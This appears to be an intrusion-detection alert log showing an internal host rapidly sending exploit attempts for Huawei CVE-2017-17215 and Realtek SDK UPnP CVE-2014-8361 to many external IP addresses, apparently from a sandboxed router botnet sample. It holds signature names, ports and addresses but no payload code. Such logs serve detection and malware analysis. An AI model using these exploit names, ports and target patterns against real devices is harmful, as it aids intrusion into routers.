07/20/24-23:10:46.735703	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57768	37215	192.168.2.15	45.143.106.52
07/20/24-23:10:56.024382	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38856	37215	192.168.2.15	41.186.251.111
07/20/24-23:10:59.027427	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49736	37215	192.168.2.15	197.128.41.176
07/20/24-23:11:06.689940	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54716	37215	192.168.2.15	197.164.61.105
07/20/24-23:10:44.084674	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38512	52869	192.168.2.15	18.208.103.195
07/20/24-23:10:41.231186	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38232	37215	192.168.2.15	157.221.156.231
07/20/24-23:10:39.117975	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48566	52869	192.168.2.15	65.58.210.176
07/20/24-23:10:47.603876	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57296	52869	192.168.2.15	74.83.241.55
07/20/24-23:10:59.029071	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54064	37215	192.168.2.15	41.4.170.12
07/20/24-23:10:41.241455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37350	37215	192.168.2.15	41.16.241.53
07/20/24-23:10:40.123839	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51758	52869	192.168.2.15	65.211.208.187
07/20/24-23:10:49.360961	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40958	37215	192.168.2.15	18.215.139.152
07/20/24-23:10:44.240958	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34226	52869	192.168.2.15	84.101.193.179
07/20/24-23:10:40.649804	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37594	37215	192.168.2.15	197.30.201.248
07/20/24-23:10:47.615909	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42938	52869	192.168.2.15	39.91.70.157
07/20/24-23:11:06.678578	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51644	37215	192.168.2.15	221.141.247.0
07/20/24-23:10:43.084316	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49970	52869	192.168.2.15	164.168.209.243
07/20/24-23:10:46.947214	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58848	52869	192.168.2.15	99.171.211.36
07/20/24-23:10:51.900424	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51464	52869	192.168.2.15	87.147.33.140
07/20/24-23:10:39.474284	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44484	37215	192.168.2.15	76.125.10.46
07/20/24-23:10:43.390649	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47444	52869	192.168.2.15	47.162.26.170
07/20/24-23:10:47.832674	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59700	52869	192.168.2.15	105.189.130.216
07/20/24-23:10:52.024591	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54794	52869	192.168.2.15	220.171.155.214
07/20/24-23:10:41.237255	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43204	37215	192.168.2.15	41.27.9.58
07/20/24-23:10:49.370142	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48526	37215	192.168.2.15	95.251.22.29
07/20/24-23:10:52.521111	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46958	37215	192.168.2.15	157.102.220.120
07/20/24-23:11:03.361095	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57212	37215	192.168.2.15	197.144.127.180
07/20/24-23:10:46.657302	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40266	52869	192.168.2.15	86.99.249.186
07/20/24-23:10:52.569477	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54524	37215	192.168.2.15	159.243.190.45
07/20/24-23:10:44.224237	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36958	52869	192.168.2.15	111.75.183.223
07/20/24-23:10:46.739331	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49724	37215	192.168.2.15	197.57.140.245
07/20/24-23:10:46.735703	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39392	37215	192.168.2.15	159.33.199.140
07/20/24-23:10:59.027427	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44526	37215	192.168.2.15	197.136.4.32
07/20/24-23:10:39.473748	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51722	37215	192.168.2.15	157.66.206.67
07/20/24-23:10:42.266162	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57160	37215	192.168.2.15	157.16.220.141
07/20/24-23:10:59.046417	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33680	37215	192.168.2.15	192.141.31.68
07/20/24-23:10:46.817180	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45592	37215	192.168.2.15	94.56.150.5
07/20/24-23:10:49.355429	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45082	37215	192.168.2.15	197.139.255.152
07/20/24-23:10:43.890801	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52482	52869	192.168.2.15	141.208.201.80
07/20/24-23:10:41.230206	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58572	37215	192.168.2.15	100.131.155.71
07/20/24-23:10:43.912015	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53734	52869	192.168.2.15	200.157.164.208
07/20/24-23:10:44.653577	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59708	52869	192.168.2.15	222.44.99.94
07/20/24-23:10:51.984562	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48238	52869	192.168.2.15	17.184.223.151
07/20/24-23:10:40.599066	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48400	37215	192.168.2.15	41.211.198.240
07/20/24-23:11:03.396755	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43286	37215	192.168.2.15	157.129.244.9
07/20/24-23:10:56.007995	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48450	37215	192.168.2.15	41.83.140.24
07/20/24-23:10:43.579377	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45970	52869	192.168.2.15	100.180.255.242
07/20/24-23:10:47.558856	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34736	52869	192.168.2.15	206.250.243.12
07/20/24-23:10:52.361937	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59244	52869	192.168.2.15	48.66.205.87
07/20/24-23:11:03.339788	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57628	37215	192.168.2.15	41.146.53.116
07/20/24-23:11:06.712307	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59976	37215	192.168.2.15	197.115.128.14
07/20/24-23:10:46.015455	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40828	52869	192.168.2.15	119.63.35.114
07/20/24-23:10:56.073192	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39726	37215	192.168.2.15	12.48.28.88
07/20/24-23:10:39.079541	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37458	52869	192.168.2.15	219.152.75.176
07/20/24-23:10:42.269853	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32910	37215	192.168.2.15	157.249.63.236
07/20/24-23:10:51.961781	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47884	52869	192.168.2.15	40.70.214.228
07/20/24-23:10:51.999918	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60396	52869	192.168.2.15	184.128.6.167
07/20/24-23:11:03.402557	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43358	37215	192.168.2.15	41.86.19.36
07/20/24-23:10:44.535658	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52146	52869	192.168.2.15	8.13.226.92
07/20/24-23:10:51.969869	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45066	52869	192.168.2.15	39.91.70.157
07/20/24-23:11:06.683012	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53910	37215	192.168.2.15	157.64.176.50
07/20/24-23:10:42.641904	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33360	52869	192.168.2.15	162.144.96.77
07/20/24-23:10:40.604941	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47964	37215	192.168.2.15	187.14.16.38
07/20/24-23:10:43.882151	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39378	52869	192.168.2.15	173.221.148.228
07/20/24-23:10:51.948284	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50024	52869	192.168.2.15	58.115.50.235
07/20/24-23:10:51.905303	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43452	52869	192.168.2.15	137.22.60.132
07/20/24-23:10:56.073192	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52332	37215	192.168.2.15	221.197.45.79
07/20/24-23:10:41.228259	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38528	37215	192.168.2.15	80.32.231.92
07/20/24-23:10:42.254986	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50434	37215	192.168.2.15	64.75.22.24
07/20/24-23:10:40.652868	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49330	37215	192.168.2.15	164.17.49.215
07/20/24-23:11:03.368250	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40680	37215	192.168.2.15	197.54.207.135
07/20/24-23:10:43.945120	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55656	52869	192.168.2.15	172.248.193.236
07/20/24-23:10:39.488246	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48038	37215	192.168.2.15	216.15.194.11
07/20/24-23:10:41.241455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56746	37215	192.168.2.15	197.216.192.26
07/20/24-23:10:42.630640	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59508	52869	192.168.2.15	8.28.61.99
07/20/24-23:10:49.398416	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54556	37215	192.168.2.15	59.27.85.148
07/20/24-23:10:49.342527	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35014	37215	192.168.2.15	110.197.204.146
07/20/24-23:10:56.006442	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51666	37215	192.168.2.15	141.95.223.128
07/20/24-23:11:03.390577	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47932	37215	192.168.2.15	8.253.245.245
07/20/24-23:10:42.250388	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53246	37215	192.168.2.15	41.176.42.114
07/20/24-23:10:45.553102	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50882	52869	192.168.2.15	35.212.114.203
07/20/24-23:10:46.809208	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35816	37215	192.168.2.15	193.248.3.188
07/20/24-23:10:52.569477	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55772	37215	192.168.2.15	197.219.253.151
07/20/24-23:10:39.478846	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38488	37215	192.168.2.15	41.135.228.141
07/20/24-23:11:06.657863	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57872	37215	192.168.2.15	197.74.251.202
07/20/24-23:10:46.810541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39732	37215	192.168.2.15	41.251.199.58
07/20/24-23:10:56.024382	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48774	37215	192.168.2.15	41.94.215.66
07/20/24-23:10:58.910194	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36336	37215	192.168.2.15	41.52.217.19
07/20/24-23:10:39.495983	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51542	37215	192.168.2.15	197.210.73.76
07/20/24-23:10:40.644796	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38168	37215	192.168.2.15	81.7.136.58
07/20/24-23:10:52.024960	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49958	52869	192.168.2.15	86.41.84.165
07/20/24-23:11:06.663147	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43708	37215	192.168.2.15	104.55.110.105
07/20/24-23:10:52.047769	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36284	52869	192.168.2.15	153.91.88.242
07/20/24-23:10:56.011930	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40266	37215	192.168.2.15	207.205.38.109
07/20/24-23:10:49.342527	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48432	37215	192.168.2.15	41.59.180.251
07/20/24-23:10:59.029071	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34464	37215	192.168.2.15	197.7.42.86
07/20/24-23:10:53.126805	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35564	52869	192.168.2.15	83.178.139.14
07/20/24-23:10:52.517494	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40496	37215	192.168.2.15	41.95.191.180
07/20/24-23:10:56.011227	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40292	37215	192.168.2.15	197.63.58.18
07/20/24-23:10:49.398416	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35744	37215	192.168.2.15	38.26.176.35
07/20/24-23:10:49.450306	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58846	37215	192.168.2.15	41.76.21.41
07/20/24-23:10:46.666447	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48046	52869	192.168.2.15	58.115.50.235
07/20/24-23:10:40.601389	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34274	37215	192.168.2.15	157.70.57.191
07/20/24-23:11:06.706527	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57998	37215	192.168.2.15	157.81.219.59
07/20/24-23:10:49.402846	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39778	37215	192.168.2.15	157.227.212.197
07/20/24-23:10:41.231521	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44828	37215	192.168.2.15	157.55.63.232
07/20/24-23:10:39.478846	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35092	37215	192.168.2.15	157.149.230.36
07/20/24-23:11:03.381593	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56836	37215	192.168.2.15	197.117.110.31
07/20/24-23:10:39.479427	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48620	37215	192.168.2.15	41.63.90.165
07/20/24-23:11:03.352491	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42552	37215	192.168.2.15	197.130.219.154
07/20/24-23:10:51.926807	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38284	52869	192.168.2.15	111.75.183.223
07/20/24-23:10:42.630026	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54654	52869	192.168.2.15	189.107.255.223
07/20/24-23:10:41.230071	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60900	37215	192.168.2.15	41.249.230.34
07/20/24-23:11:03.365385	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41838	37215	192.168.2.15	157.52.64.219
07/20/24-23:10:40.217788	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33992	52869	192.168.2.15	178.153.143.199
07/20/24-23:10:52.045718	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45510	52869	192.168.2.15	169.30.6.222
07/20/24-23:10:56.021160	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60544	37215	192.168.2.15	157.62.18.139
07/20/24-23:10:43.209193	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37926	52869	192.168.2.15	109.200.111.240
07/20/24-23:10:47.864657	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54104	52869	192.168.2.15	116.208.181.41
07/20/24-23:10:47.661709	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57440	52869	192.168.2.15	149.136.218.225
07/20/24-23:10:49.447315	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52600	37215	192.168.2.15	197.177.221.156
07/20/24-23:11:06.646712	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46576	37215	192.168.2.15	201.166.197.193
07/20/24-23:10:44.363105	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47876	52869	192.168.2.15	130.31.106.211
07/20/24-23:10:47.807651	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43170	52869	192.168.2.15	169.30.6.222
07/20/24-23:10:52.047583	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57248	52869	192.168.2.15	116.197.1.84
07/20/24-23:10:39.137399	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36298	52869	192.168.2.15	91.122.92.170
07/20/24-23:10:41.232616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36782	37215	192.168.2.15	157.206.105.136
07/20/24-23:10:47.856055	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34974	52869	192.168.2.15	143.186.214.112
07/20/24-23:10:51.900424	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48618	52869	192.168.2.15	65.78.88.55
07/20/24-23:10:47.974293	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46652	52869	192.168.2.15	114.103.82.126
07/20/24-23:10:46.865461	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48062	37215	192.168.2.15	176.12.151.250
07/20/24-23:10:59.012072	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36410	37215	192.168.2.15	197.83.45.92
07/20/24-23:10:52.538168	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60746	37215	192.168.2.15	41.253.43.252
07/20/24-23:11:06.706527	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58682	37215	192.168.2.15	136.245.33.54
07/20/24-23:10:39.488246	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41310	37215	192.168.2.15	157.217.24.18
07/20/24-23:11:03.394674	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56700	37215	192.168.2.15	157.231.170.212
07/20/24-23:11:06.657863	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49194	37215	192.168.2.15	197.80.162.159
07/20/24-23:10:41.223199	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56412	37215	192.168.2.15	197.29.196.90
07/20/24-23:10:42.636108	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33244	52869	192.168.2.15	61.146.90.23
07/20/24-23:10:47.742820	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37346	52869	192.168.2.15	74.125.66.82
07/20/24-23:10:43.587662	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50302	52869	192.168.2.15	155.171.90.214
07/20/24-23:10:39.479939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59708	37215	192.168.2.15	41.162.253.225
07/20/24-23:10:56.021160	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52342	37215	192.168.2.15	197.148.191.90
07/20/24-23:10:51.967169	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42706	52869	192.168.2.15	119.63.35.114
07/20/24-23:10:39.086935	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53020	52869	192.168.2.15	157.142.69.44
07/20/24-23:10:41.228259	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40016	37215	192.168.2.15	157.193.70.196
07/20/24-23:10:47.630051	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42844	52869	192.168.2.15	88.192.240.239
07/20/24-23:10:42.267551	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41312	37215	192.168.2.15	63.125.89.15
07/20/24-23:10:59.067929	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36638	37215	192.168.2.15	41.50.250.30
07/20/24-23:11:03.352491	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52740	37215	192.168.2.15	41.194.49.201
07/20/24-23:11:06.689532	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43378	37215	192.168.2.15	174.201.74.166
07/20/24-23:11:06.683012	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51526	37215	192.168.2.15	197.235.68.13
07/20/24-23:10:40.607363	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49402	37215	192.168.2.15	197.181.244.208
07/20/24-23:10:46.756934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43262	37215	192.168.2.15	203.44.198.123
07/20/24-23:10:43.225634	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46284	52869	192.168.2.15	166.169.25.66
07/20/24-23:10:51.933445	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40566	52869	192.168.2.15	13.129.217.20
07/20/24-23:10:49.380109	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39360	37215	192.168.2.15	197.126.157.245
07/20/24-23:10:42.266162	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33384	37215	192.168.2.15	197.4.99.70
07/20/24-23:10:52.070108	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34310	52869	192.168.2.15	61.206.111.53
07/20/24-23:10:49.398416	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49376	37215	192.168.2.15	197.82.158.150
07/20/24-23:10:39.433488	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38926	37215	192.168.2.15	41.253.112.25
07/20/24-23:10:41.232616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39852	37215	192.168.2.15	41.0.171.6
07/20/24-23:10:52.435678	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36872	52869	192.168.2.15	155.240.87.154
07/20/24-23:11:03.394674	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60906	37215	192.168.2.15	157.164.125.2
07/20/24-23:10:42.634545	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58114	52869	192.168.2.15	64.61.109.158
07/20/24-23:10:55.915610	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53646	37215	192.168.2.15	157.27.215.65
07/20/24-23:10:41.228607	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53106	37215	192.168.2.15	109.223.47.42
07/20/24-23:10:51.931701	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36946	52869	192.168.2.15	45.156.147.64
07/20/24-23:10:42.263488	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39436	37215	192.168.2.15	41.69.44.134
07/20/24-23:10:39.485535	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49420	37215	192.168.2.15	197.164.89.253
07/20/24-23:10:44.680447	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46452	52869	192.168.2.15	143.46.197.220
07/20/24-23:10:46.795246	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43948	37215	192.168.2.15	157.158.40.46
07/20/24-23:10:49.425318	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57612	37215	192.168.2.15	157.110.234.28
